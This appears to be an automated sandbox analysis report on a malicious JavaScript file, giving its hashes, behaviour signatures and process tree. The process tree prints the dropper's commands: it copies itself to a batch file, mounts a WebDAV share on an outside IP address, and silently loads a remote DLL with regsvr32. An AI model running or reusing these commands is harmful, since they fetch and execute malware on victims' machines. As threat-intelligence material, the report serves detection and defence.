Analysis

  • max time kernel
    93s
  • max time network
    94s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/07/2024, 20:08

General

  • Target

    5425323573023328287.js

  • Size

    5KB

  • MD5

    b52e970e962918664d67b103a09ba771

  • SHA1

    39f7db5fcef9b3f481752f63d3d9ee970b735abb

  • SHA256

    88560515c188c083360d4a20e8cff718de82a3262767cffba43c22477a01862d

  • SHA512

    ded06893b4da81a59e16f8cde395e4ab70aa087343e4943fdb01c3864db35bd3f98977e440a9093bf66bf32e0bb1a5fb9d34cd5b941e684773c4ded27f97df3c

  • SSDEEP

    96:twHk1JqpvOCz2KoImsSQ8st/1c7iCzcensvaHxmHH0KQUGpZ4RHFptZuGVZJi1Ve:YkqpvDnyeBevFUYbMIvEk1IvT

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\5425323573023328287.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:872
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\5425323573023328287.js" "C:\Users\Admin\\cyxgmw.bat" && "C:\Users\Admin\\cyxgmw.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1212
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:1744
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\734.dll
          3⤵
            PID:2860

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\cyxgmw.bat

        Filesize

        5KB

        MD5

        b52e970e962918664d67b103a09ba771

        SHA1

        39f7db5fcef9b3f481752f63d3d9ee970b735abb

        SHA256

        88560515c188c083360d4a20e8cff718de82a3262767cffba43c22477a01862d

        SHA512

        ded06893b4da81a59e16f8cde395e4ab70aa087343e4943fdb01c3864db35bd3f98977e440a9093bf66bf32e0bb1a5fb9d34cd5b941e684773c4ded27f97df3c